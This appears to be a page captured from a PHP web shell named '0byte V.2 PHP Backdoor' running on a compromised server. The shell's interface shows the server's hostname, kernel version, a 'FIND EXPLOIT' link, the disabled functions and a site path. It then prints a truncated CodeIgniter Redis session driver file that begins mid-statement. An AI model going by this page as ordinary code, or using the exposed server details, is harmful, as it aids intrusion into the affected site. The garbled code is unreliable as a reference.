0byte V.2
PHP Backdoor

Linux 116-202-49-93.cprapid.com 5.14.0-611.49.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Apr 21 16:39:08 EDT 2026 x86_64 [ FIND EXPLOIT ]
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Disable Function: exec,passthru,shell_exec,system

/home/vhtecindia/public_html/system/libraries/Session/drivers/

_config['save_path'])) { log_message('error', 'Session: No Redis save path configured.'); } elseif (preg_match('#(?:tcp://)?([^:?]+)(?:\:(\d+))?(\?.+)?#', $this->_config['save_path'], $matches)) { isset($matches[3]) OR $matches[3] = ''; // Just to avoid undefined index notices below $this->_config['save_path'] = array( 'host' => $matches[1], 'port' => empty($matches[2]) ? NULL : $matches[2], 'password' => preg_match('#auth=([^\s&]+)#', $matches[3], $match) ? $match[1] : NULL, 'database' => preg_match('#database=(\d+)#', $matches[3], $match) ? (int) $match[1] : NULL, 'timeout' => preg_match('#timeout=(\d+\.\d+)#', $matches[3], $match) ? (float) $match[1] : NULL ); preg_match('#prefix=([^\s&]+)#', $matches[3], $match) && $this->_key_prefix = $match[1]; } else { log_message('error', 'Session: Invalid Redis save path format: '.$this->_config['save_path']); } if ($this->_config['match_ip'] === TRUE) { $this->_key_prefix .= $_SERVER['REMOTE_ADDR'].':'; } } // ------------------------------------------------------------------------ /** * Open * * Sanitizes save_path and initializes connection. * * @param string $save_path Server path * @param string $name Session cookie name, unused * @return bool */ public function open($save_path, $name) { if (empty($this->_config['save_path'])) { return $this->_fail(); } $redis = new Redis(); if ( ! $redis->connect($this->_config['save_path']['host'], $this->_config['save_path']['port'], $this->_config['save_path']['timeout'])) { log_message('error', 'Session: Unable to connect to Redis with the configured settings.'); } elseif (isset($this->_config['save_path']['password']) && ! $redis->auth($this->_config['save_path']['password'])) { log_message('error', 'Session: Unable to authenticate to Redis instance.'); } elseif (isset($this->_config['save_path']['database']) && ! $redis->select($this->_config['save_path']['database'])) { log_message('error', 'Session: Unable to select Redis database with index '.$this->_config['save_path']['database']); } else { $this->_redis = $redis; return $this->_success; } $this->php5_validate_id(); return $this->_fail(); } // ------------------------------------------------------------------------ /** * Read * * Reads session data and acquires a lock * * @param string $session_id Session ID * @return string Serialized session data */ public function read($session_id) { if (isset($this->_redis) && $this->_get_lock($session_id)) { // Needed by write() to detect session_regenerate_id() calls $this->_session_id = $session_id; $session_data = $this->_redis->get($this->_key_prefix.$session_id); is_string($session_data) ? $this->_key_exists = TRUE : $session_data = ''; $this->_fingerprint = md5($session_data); return $session_data; } return $this->_fail(); } // ------------------------------------------------------------------------ /** * Write * * Writes (create / update) session data * * @param string $session_id Session ID * @param string $session_data Serialized session data * @return bool */ public function write($session_id, $session_data) { if ( ! isset($this->_redis, $this->_lock_key)) { return $this->_fail(); } // Was the ID regenerated? elseif ($session_id !== $this->_session_id) { if ( ! $this->_release_lock() OR ! $this->_get_lock($session_id)) { return $this->_fail(); } $this->_key_exists = FALSE; $this->_session_id = $session_id; } $this->_redis->setTimeout($this->_lock_key, 300); if ($this->_fingerprint !== ($fingerprint = md5($session_data)) OR $this->_key_exists === FALSE) { if ($this->_redis->set($this->_key_prefix.$session_id, $session_data, $this->_config['expiration'])) { $this->_fingerprint = $fingerprint; $this->_key_exists = TRUE; return $this->_success; } return $this->_fail(); } return ($this->_redis->setTimeout($this->_key_prefix.$session_id, $this->_config['expiration'])) ? $this->_success : $this->_fail(); } // ------------------------------------------------------------------------ /** * Close * * Releases locks and closes connection. * * @return bool */ public function close() { if (isset($this->_redis)) { try { if ($this->_redis->ping() === '+PONG') { $this->_release_lock(); if ($this->_redis->close() === FALSE) { return $this->_fail(); } } } catch (RedisException $e) { log_message('error', 'Session: Got RedisException on close(): '.$e->getMessage()); } $this->_redis = NULL; return $this->_success; } return $this->_success; } // ------------------------------------------------------------------------ /** * Destroy * * Destroys the current session. * * @param string $session_id Session ID * @return bool */ public function destroy($session_id) { if (isset($this->_redis, $this->_lock_key)) { if (($result = $this->_redis->delete($this->_key_prefix.$session_id)) !== 1) { log_message('debug', 'Session: Redis::delete() expected to return 1, got '.var_export($result, TRUE).' instead.'); } $this->_cookie_destroy(); return $this->_success; } return $this->_fail(); } // ------------------------------------------------------------------------ /** * Garbage Collector * * Deletes expired sessions * * @param int $maxlifetime Maximum lifetime of sessions * @return bool */ public function gc($maxlifetime) { // Not necessary, Redis takes care of that. return $this->_success; } // -------------------------------------------------------------------- /** * Validate ID * * Checks whether a session ID record exists server-side, * to enforce session.use_strict_mode. * * @param string $id * @return bool */ public function validateSessionId($id) { return (bool) $this->_redis->exists($this->_key_prefix.$id); } // ------------------------------------------------------------------------ /** * Get lock * * Acquires an (emulated) lock. * * @param string $session_id Session ID * @return bool */ protected function _get_lock($session_id) { // PHP 7 reuses the SessionHandler object on regeneration, // so we need to check here if the lock key is for the // correct session ID. if ($this->_lock_key === $this->_key_prefix.$session_id.':lock') { return $this->_redis->setTimeout($this->_lock_key, 300); } // 30 attempts to obtain a lock, in case another request already has it $lock_key = $this->_key_prefix.$session_id.':lock'; $attempt = 0; do { if (($ttl = $this->_redis->ttl($lock_key)) > 0) { sleep(1); continue; } $result = ($ttl === -2) ? $this->_redis->set($lock_key, time(), array('nx', 'ex' => 300)) : $this->_redis->setex($lock_key, 300, time()); if ( ! $result) { log_message('error', 'Session: Error while trying to obtain lock for '.$this->_key_prefix.$session_id); return FALSE; } $this->_lock_key = $lock_key; break; } while (++$attempt < 30); if ($attempt === 30) { log_message('error', 'Session: Unable to obtain lock for '.$this->_key_prefix.$session_id.' after 30 attempts, aborting.'); return FALSE; } elseif ($ttl === -1) { log_message('debug', 'Session: Lock for '.$this->_key_prefix.$session_id.' had no TTL, overriding.'); } $this->_lock = TRUE; return TRUE; } // ------------------------------------------------------------------------ /** * Release lock * * Releases a previously acquired lock * * @return bool */ protected function _release_lock() { if (isset($this->_redis, $this->_lock_key) && $this->_lock) { if ( ! $this->_redis->delete($this->_lock_key)) { log_message('error', 'Session: Error while trying to free lock for '.$this->_lock_key); return FALSE; } $this->_lock_key = NULL; $this->_lock = FALSE; } return TRUE; } }

0byte V.2PHP Backdoor

0byte V.2
PHP Backdoor